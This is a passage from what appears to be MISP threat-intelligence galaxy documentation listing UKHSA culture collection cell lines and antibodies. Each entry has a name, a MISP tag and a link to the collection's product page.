The tag is: *misp-galaxy:ukhsa-culture-collections="CHO-WBL (IVGT)"*

Table 29153. Table References

Links
https://www.culturecollections.org.uk/nop/product/cho-wbl-ivgt-3

B3/25

The tag is: *misp-galaxy:ukhsa-culture-collections="B3/25"*

Table 29154. Table References

Links
https://www.culturecollections.org.uk/nop/product/b325

EL4

The tag is: *misp-galaxy:ukhsa-culture-collections="EL4"*

Table 29155. Table References

Links
https://www.culturecollections.org.uk/nop/product/el4

OKT3

The tag is: *misp-galaxy:ukhsa-culture-collections="OKT3"*

Table 29156. Table References

Links
https://www.culturecollections.org.uk/nop/product/okt3

MFM-223

The tag is: *misp-galaxy:ukhsa-culture-collections="MFM-223"*

Table 29157. Table References

Links
https://www.culturecollections.org.uk/nop/product/mfm-223

CTX TNA2

The tag is: *misp-galaxy:ukhsa-culture-collections="CTX TNA2"*

Table 29158. Table References

Links
https://www.culturecollections.org.uk/nop/product/ctx-tna2

Sp2/0-Ag14 (serum-free)

The tag is: *misp-galaxy:ukhsa-culture-collections="Sp2/0-Ag14 (serum-free)"*

Table 29159. Table References

Links
https://www.culturecollections.org.uk/nop/product/sp20-ag14-serum-free-2

KYAE-1

The tag is: *misp-galaxy:ukhsa-culture-collections="KYAE-1"*

Table 29160. Table References

Links
https://www.culturecollections.org.uk/nop/product/kyae-1

H-EMC-SS

The tag is: *misp-galaxy:ukhsa-culture-collections="H-EMC-SS"*

Table 29161. Table References

Links
https://www.culturecollections.org.uk/nop/product/h-emc-ss

IL-A19

The tag is: *misp-galaxy:ukhsa-culture-collections="IL-A19"*

Table 29162. Table References

Links
https://www.culturecollections.org.uk/nop/product/il-a19-2

HRA-19a1.1 Alpha2 F

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-19a1.1 Alpha2 F"*

Table 29163. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-19a11-alpha2-f

HRA-19a1.1 Alpha2 B

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-19a1.1 Alpha2 B"*

Table 29164. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-19a11-alpha2-b

HRA-19a1.1 Alpha2Alpha1 E

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-19a1.1 Alpha2Alpha1 E"*

Table 29165. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-19a11-alpha2alpha1-e

HRA-19a1.1 Alpha2Alpha1 B

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-19a1.1 Alpha2Alpha1 B"*

Table 29166. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-19a11-alpha2alpha1-b

HRA-19

The tag is: *misp-galaxy:ukhsa-culture-collections="HRA-19"*

Table 29167. Table References

Links
https://www.culturecollections.org.uk/nop/product/hra-19

Ma-Mel-22

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-22"*

Table 29168. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-22

LA-N-1

The tag is: *misp-galaxy:ukhsa-culture-collections="LA-N-1"*

Table 29169. Table References

Links
https://www.culturecollections.org.uk/nop/product/la-n-1

WES

The tag is: *misp-galaxy:ukhsa-culture-collections="WES"*

Table 29170. Table References

Links
https://www.culturecollections.org.uk/nop/product/wes

SW 948

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 948"*

Table 29171. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-948

Ma-Mel-39a

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-39a"*

Table 29172. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-39a

Ma-Mel-54a

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-54a"*

Table 29173. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-54a

CAD

The tag is: *misp-galaxy:ukhsa-culture-collections="CAD"*

Table 29174. Table References

Links
https://www.culturecollections.org.uk/nop/product/cad

LLC-RK1

The tag is: *misp-galaxy:ukhsa-culture-collections="LLC-RK1"*

Table 29175. Table References

Links
https://www.culturecollections.org.uk/nop/product/llc-rk1

Ma-Mel-19

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-19"*

Table 29176. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-19

Ma-Mel-45a

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-45a"*

Table 29177. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-45a

ABSa15

The tag is: *misp-galaxy:ukhsa-culture-collections="ABSa15"*

Table 29178. Table References

Links
https://www.culturecollections.org.uk/nop/product/absa15

CGR8

The tag is: *misp-galaxy:ukhsa-culture-collections="CGR8"*

Table 29179. Table References

Links
https://www.culturecollections.org.uk/nop/product/cgr8

31F4L

The tag is: *misp-galaxy:ukhsa-culture-collections="31F4L"*

Table 29180. Table References

Links
https://www.culturecollections.org.uk/nop/product/31f4l

AFRC 84C6

The tag is: *misp-galaxy:ukhsa-culture-collections="AFRC 84C6"*

Table 29181. Table References

Links
https://www.culturecollections.org.uk/nop/product/afrc-84c6

BRO,ML

The tag is: *misp-galaxy:ukhsa-culture-collections="BRO,ML"*

Table 29182. Table References

Links
https://www.culturecollections.org.uk/nop/product/broml-2

A673

The tag is: *misp-galaxy:ukhsa-culture-collections="A673"*

Table 29183. Table References

Links
https://www.culturecollections.org.uk/nop/product/a673

WT9

The tag is: *misp-galaxy:ukhsa-culture-collections="WT9"*

Table 29184. Table References

Links
https://www.culturecollections.org.uk/nop/product/wt9

W7079

The tag is: *misp-galaxy:ukhsa-culture-collections="W7079"*

Table 29185. Table References

Links
https://www.culturecollections.org.uk/nop/product/w7079

KT17

The tag is: *misp-galaxy:ukhsa-culture-collections="KT17"*

Table 29186. Table References

Links
https://www.culturecollections.org.uk/nop/product/kt17

84BR

The tag is: *misp-galaxy:ukhsa-culture-collections="84BR"*

Table 29187. Table References

Links
https://www.culturecollections.org.uk/nop/product/84br

HL60 Ast.4

The tag is: *misp-galaxy:ukhsa-culture-collections="HL60 Ast.4"*

Table 29188. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl60-ast4

Detroit 532

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 532"*

Table 29189. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-532

RPMI 6666

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 6666"*

Table 29190. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-6666

KELLY

The tag is: *misp-galaxy:ukhsa-culture-collections="KELLY"*

Table 29191. Table References

Links
https://www.culturecollections.org.uk/nop/product/kelly

Y79

The tag is: *misp-galaxy:ukhsa-culture-collections="Y79"*

Table 29192. Table References

Links
https://www.culturecollections.org.uk/nop/product/y79

COR-L51

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L51"*

Table 29193. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l51

LNCap clone FGC

The tag is: *misp-galaxy:ukhsa-culture-collections="LNCap clone FGC"*

Table 29194. Table References

Links
https://www.culturecollections.org.uk/nop/product/lncap-clone-fgc

Ma-Mel-7

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-7"*

Table 29195. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-7

Ma-Mel-27

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-27"*

Table 29196. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-27

Ma-Mel-28

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-28"*

Table 29197. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-28

UKRV-Mel-19b

The tag is: *misp-galaxy:ukhsa-culture-collections="UKRV-Mel-19b"*

Table 29198. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukrv-mel-19b

Mero-41

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-41"*

Table 29199. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-41

ES-E14TG2a

The tag is: *misp-galaxy:ukhsa-culture-collections="ES-E14TG2a"*

Table 29200. Table References

Links
https://www.culturecollections.org.uk/nop/product/es-e14tg2a

NCI-H358

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H358"*

Table 29201. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h358

NB69

The tag is: *misp-galaxy:ukhsa-culture-collections="NB69"*

Table 29202. Table References

Links
https://www.culturecollections.org.uk/nop/product/nb69

HKT-1097

The tag is: *misp-galaxy:ukhsa-culture-collections="HKT-1097"*

Table 29203. Table References

Links
https://www.culturecollections.org.uk/nop/product/hkt-1097

B1D6

The tag is: *misp-galaxy:ukhsa-culture-collections="B1D6"*

Table 29204. Table References

Links
https://www.culturecollections.org.uk/nop/product/b1d6

Ma-Mel-6

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-6"*

Table 29205. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-6

1D10(AAT) Clone 8D10

The tag is: *misp-galaxy:ukhsa-culture-collections="1D10(AAT) Clone 8D10"*

Table 29206. Table References

Links
https://www.culturecollections.org.uk/nop/product/1d10aat-clone-8d10

Ma-Mel-15

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-15"*

Table 29207. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-15

Ma-Mel-8a

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-8a"*

Table 29208. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-8a

Ma-Mel-4

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-4"*

Table 29209. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-4

RN 22

The tag is: *misp-galaxy:ukhsa-culture-collections="RN 22"*

Table 29210. Table References

Links
https://www.culturecollections.org.uk/nop/product/rn-22

Ma-Mel-5

The tag is: *misp-galaxy:ukhsa-culture-collections="Ma-Mel-5"*

Table 29211. Table References

Links
https://www.culturecollections.org.uk/nop/product/ma-mel-5

KARPAS-1106P

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-1106P"*

Table 29212. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-1106p

SCC-4

The tag is: *misp-galaxy:ukhsa-culture-collections="SCC-4"*

Table 29213. Table References

Links
https://www.culturecollections.org.uk/nop/product/scc-4

COR-L321

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L321"*

Table 29214. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l321

UM-UC-1

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-1"*

Table 29215. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-1

PSN1

The tag is: *misp-galaxy:ukhsa-culture-collections="PSN1"*

Table 29216. Table References

Links
https://www.culturecollections.org.uk/nop/product/psn1

PE/CA-PJ49

The tag is: *misp-galaxy:ukhsa-culture-collections="PE/CA-PJ49"*

Table 29217. Table References

Links
https://www.culturecollections.org.uk/nop/product/peca-pj49

PE/CA-PJ41 (clone D2)

The tag is: *misp-galaxy:ukhsa-culture-collections="PE/CA-PJ41 (clone D2)"*

Table 29218. Table References

Links
https://www.culturecollections.org.uk/nop/product/peca-pj41-clone-d2

PE/CA-PJ34 (clone C12)

The tag is: *misp-galaxy:ukhsa-culture-collections="PE/CA-PJ34 (clone C12)"*

Table 29219. Table References

Links
https://www.culturecollections.org.uk/nop/product/peca-pj34-clone-c12

OV7

The tag is: *misp-galaxy:ukhsa-culture-collections="OV7"*

Table 29220. Table References

Links
https://www.culturecollections.org.uk/nop/product/ov7

OV56

The tag is: *misp-galaxy:ukhsa-culture-collections="OV56"*

Table 29221. Table References

Links
https://www.culturecollections.org.uk/nop/product/ov56

OE21

The tag is: *misp-galaxy:ukhsa-culture-collections="OE21"*

Table 29222. Table References

Links
https://www.culturecollections.org.uk/nop/product/oe21

OAW28

The tag is: *misp-galaxy:ukhsa-culture-collections="OAW28"*

Table 29223. Table References

Links
https://www.culturecollections.org.uk/nop/product/oaw28

NCI-H322

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H322"*

Table 29224. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h322

MOR/CPR

The tag is: *misp-galaxy:ukhsa-culture-collections="MOR/CPR"*

Table 29225. Table References

Links
https://www.culturecollections.org.uk/nop/product/morcpr

MDST8

The tag is: *misp-galaxy:ukhsa-culture-collections="MDST8"*

Table 29226. Table References

Links
https://www.culturecollections.org.uk/nop/product/mdst8

HTK-

The tag is: *misp-galaxy:ukhsa-culture-collections="HTK-"*

Table 29227. Table References

Links
https://www.culturecollections.org.uk/nop/product/htk-

HT115

The tag is: *misp-galaxy:ukhsa-culture-collections="HT115"*

Table 29228. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht115

HGC-27

The tag is: *misp-galaxy:ukhsa-culture-collections="HGC-27"*

Table 29229. Table References

Links
https://www.culturecollections.org.uk/nop/product/hgc-27

GP2d

The tag is: *misp-galaxy:ukhsa-culture-collections="GP2d"*

Table 29230. Table References

Links
https://www.culturecollections.org.uk/nop/product/gp2d

FTC-133

The tag is: *misp-galaxy:ukhsa-culture-collections="FTC-133"*

Table 29231. Table References

Links
https://www.culturecollections.org.uk/nop/product/ftc-133

DMS 273

The tag is: *misp-galaxy:ukhsa-culture-collections="DMS 273"*

Table 29232. Table References

Links
https://www.culturecollections.org.uk/nop/product/dms-273

COV644

The tag is: *misp-galaxy:ukhsa-culture-collections="COV644"*

Table 29233. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov644

COV362

The tag is: *misp-galaxy:ukhsa-culture-collections="COV362"*

Table 29234. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov362

COV318

The tag is: *misp-galaxy:ukhsa-culture-collections="COV318"*

Table 29235. Table References

Links
https://www.culturecollections.org.uk/nop/product/cov318

COR-L88

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L88"*

Table 29236. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l88

COR-L311

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L311"*

Table 29237. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l311

COR-L279

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L279"*

Table 29238. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l279

COR-L23

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L23"*

Table 29239. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l23

COR-L105

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L105"*

Table 29240. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l105

COLO 792

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 792"*

Table 29241. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-792

COLO 741

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 741"*

Table 29242. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-741

COLO 684

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 684"*

Table 29243. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-684

ChaGo-K-1

The tag is: *misp-galaxy:ukhsa-culture-collections="ChaGo-K-1"*

Table 29244. Table References

Links
https://www.culturecollections.org.uk/nop/product/chago-k-1

59M

The tag is: *misp-galaxy:ukhsa-culture-collections="59M"*

Table 29245. Table References

Links
https://www.culturecollections.org.uk/nop/product/59m

RPMI 8226

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 8226"*

Table 29246. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-8226

PC-3

The tag is: *misp-galaxy:ukhsa-culture-collections="PC-3"*

Table 29247. Table References

Links
https://www.culturecollections.org.uk/nop/product/pc-3

ACHN

The tag is: *misp-galaxy:ukhsa-culture-collections="ACHN"*

Table 29248. Table References

Links
https://www.culturecollections.org.uk/nop/product/achn

MOLT-4

The tag is: *misp-galaxy:ukhsa-culture-collections="MOLT-4"*

Table 29249. Table References

Links
https://www.culturecollections.org.uk/nop/product/molt-4-2
https://www.culturecollections.org.uk/nop/product/molt-4

K562

The tag is: *misp-galaxy:ukhsa-culture-collections="K562"*

Table 29250. Table References

Links
https://www.culturecollections.org.uk/nop/product/k562

CCRF-CEM

The tag is: *misp-galaxy:ukhsa-culture-collections="CCRF-CEM"*

Table 29251. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccrf-cem

Hs 578T

The tag is: *misp-galaxy:ukhsa-culture-collections="Hs 578T"*

Table 29252. Table References

Links
https://www.culturecollections.org.uk/nop/product/hs-578t

HCT-15

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT-15"*

Table 29253. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-15

COLO 205

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 205"*

Table 29254. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-205

SW 620

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 620"*

Table 29255. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-620

HCT 116

The tag is: *misp-galaxy:ukhsa-culture-collections="HCT 116"*

Table 29256. Table References

Links
https://www.culturecollections.org.uk/nop/product/hct-116

HT29

The tag is: *misp-galaxy:ukhsa-culture-collections="HT29"*

Table 29257. Table References

Links
https://www.culturecollections.org.uk/nop/product/ht29

L929/R

The tag is: *misp-galaxy:ukhsa-culture-collections="L929/R"*

Table 29258. Table References

Links
https://www.culturecollections.org.uk/nop/product/l929r

OX-59

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-59"*

Table 29259. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-59

OX-60

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-60"*

Table 29260. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-60

OX-68

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-68"*

Table 29261. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-68

OX-62

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-62"*

Table 29262. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-62

OX-44

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-44"*

Table 29263. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-44

OX-78

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-78"*

Table 29264. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-78

OX-81

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-81"*

Table 29265. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-81

OX-87

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-87"*

Table 29266. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-87

OX-85

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-85"*

Table 29267. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-85

OX-86

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-86"*

Table 29268. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-86

OX-24

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-24"*

Table 29269. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-24

W3/13

The tag is: *misp-galaxy:ukhsa-culture-collections="W3/13"*

Table 29270. Table References

Links
https://www.culturecollections.org.uk/nop/product/w313

W3/25

The tag is: *misp-galaxy:ukhsa-culture-collections="W3/25"*

Table 29271. Table References

Links
https://www.culturecollections.org.uk/nop/product/w325

W6/32

The tag is: *misp-galaxy:ukhsa-culture-collections="W6/32"*

Table 29272. Table References

Links
https://www.culturecollections.org.uk/nop/product/w632

OX-1

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-1"*

Table 29273. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-1

OX-2

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-2"*

Table 29274. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-2

OX-3

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-3"*

Table 29275. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-3

OX-6

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-6"*

Table 29276. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-6

OX-7

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-7"*

Table 29277. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-7

OX-8

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-8"*

Table 29278. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-8

OX-17

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-17"*

Table 29279. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-17

OX-18

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-18"*

Table 29280. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-18

OX-19

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-19"*

Table 29281. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-19

OX-22

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-22"*

Table 29282. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-22

OX-26

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-26"*

Table 29283. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-26

OX-27

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-27"*

Table 29284. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-27

OX-101

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-101"*

Table 29285. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-101

OX-102

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-102"*

Table 29286. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-102

OX-104

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-104"*

Table 29287. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-104

OX-30

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-30"*

Table 29288. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-30

OX-33

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-33"*

Table 29289. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-33

OX-34

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-34"*

Table 29290. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-34

OX-39

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-39"*

Table 29291. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-39

OX-40

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-40"*

Table 29292. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-40

OX-42

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-42"*

Table 29293. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-42

OX-43

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-43"*

Table 29294. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-43

OX-52

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-52"*

Table 29295. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-52

OX-14

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-14"*

Table 29296. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-14

OX-12

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-12"*

Table 29297. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-12

OX-38

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-38"*

Table 29298. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-38

OX-32

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-32"*

Table 29299. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-32

OX-41

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-41"*

Table 29300. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-41

W3/15

The tag is: *misp-galaxy:ukhsa-culture-collections="W3/15"*

Table 29301. Table References

Links
https://www.culturecollections.org.uk/nop/product/w315

OX-29

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-29"*

Table 29302. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-29

OX-54

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-54"*

Table 29303. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-54

OX-55

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-55"*

Table 29304. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-55

OX-35 clone 5

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-35 clone 5"*

Table 29305. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-35-clone-5

OX-53

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-53"*

Table 29306. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-53

OX-36 clone 3

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-36 clone 3"*

Table 29307. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-36-clone-3

OX-57

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-57"*

Table 29308. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-57

OX-58

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-58"*

Table 29309. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-58

OX-74

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-74"*

Table 29310. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-74

OX-75

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-75"*

Table 29311. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-75

OX-49

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-49"*

Table 29312. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-49

OX-50

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-50"*

Table 29313. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-50

OX-61

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-61"*

Table 29314. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-61

NA1/34.HLK

The tag is: *misp-galaxy:ukhsa-culture-collections="NA1/34.HLK"*

Table 29315. Table References

Links
https://www.culturecollections.org.uk/nop/product/na134hlk

W6/32HK

The tag is: *misp-galaxy:ukhsa-culture-collections="W6/32HK"*

Table 29316. Table References

Links
https://www.culturecollections.org.uk/nop/product/w632hk

LDS 73/LW1

The tag is: *misp-galaxy:ukhsa-culture-collections="LDS 73/LW1"*

Table 29317. Table References

Links
https://www.culturecollections.org.uk/nop/product/lds-73lw1

H6/31HL

The tag is: *misp-galaxy:ukhsa-culture-collections="H6/31HL"*

Table 29318. Table References

Links
https://www.culturecollections.org.uk/nop/product/h631hl

YOL1/34

The tag is: *misp-galaxy:ukhsa-culture-collections="YOL1/34"*

Table 29319. Table References

Links
https://www.culturecollections.org.uk/nop/product/yol134

YL1/2

The tag is: *misp-galaxy:ukhsa-culture-collections="YL1/2"*

Table 29320. Table References

Links
https://www.culturecollections.org.uk/nop/product/yl12

DA6.231

The tag is: *misp-galaxy:ukhsa-culture-collections="DA6.231"*

Table 29321. Table References

Links
https://www.culturecollections.org.uk/nop/product/da6231

UKRV-Mel-14b

The tag is: *misp-galaxy:ukhsa-culture-collections="UKRV-Mel-14b"*

Table 29322. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukrv-mel-14b

UKRV-Mel-17

The tag is: *misp-galaxy:ukhsa-culture-collections="UKRV-Mel-17"*

Table 29323. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukrv-mel-17

UKRV-Mel-3

The tag is: *misp-galaxy:ukhsa-culture-collections="UKRV-Mel-3"*

Table 29324. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukrv-mel-3

UKRV-Mel-6b

The tag is: *misp-galaxy:ukhsa-culture-collections="UKRV-Mel-6b"*

Table 29325. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukrv-mel-6b

UKRV-Mel-2

The tag is: *misp-galaxy:ukhsa-culture-collections="UKRV-Mel-2"*

Table 29326. Table References

Links
https://www.culturecollections.org.uk/nop/product/ukrv-mel-2

MIA-Pa-Ca-2

The tag is: *misp-galaxy:ukhsa-culture-collections="MIA-Pa-Ca-2"*

Table 29327. Table References

Links
https://www.culturecollections.org.uk/nop/product/mia-pa-ca-2

VA-ES-BJ

The tag is: *misp-galaxy:ukhsa-culture-collections="VA-ES-BJ"*

Table 29328. Table References

Links
https://www.culturecollections.org.uk/nop/product/va-es-bj

YN1/1.7.4

The tag is: *misp-galaxy:ukhsa-culture-collections="YN1/1.7.4"*

Table 29329. Table References

Links
https://www.culturecollections.org.uk/nop/product/yn1174

OX-132

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-132"*

Table 29330. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-132

OX-131

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-131"*

Table 29331. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-131

OX-129

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-129"*

Table 29332. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-129

OX-119

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-119"*

Table 29333. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-119

OX-118

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-118"*

Table 29334. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-118

OX-117

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-117"*

Table 29335. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-117

OX-116

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-116"*

Table 29336. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-116

OX-115

The tag is: *misp-galaxy:ukhsa-culture-collections="OX-115"*

Table 29337. Table References

Links
https://www.culturecollections.org.uk/nop/product/ox-115

OX-114

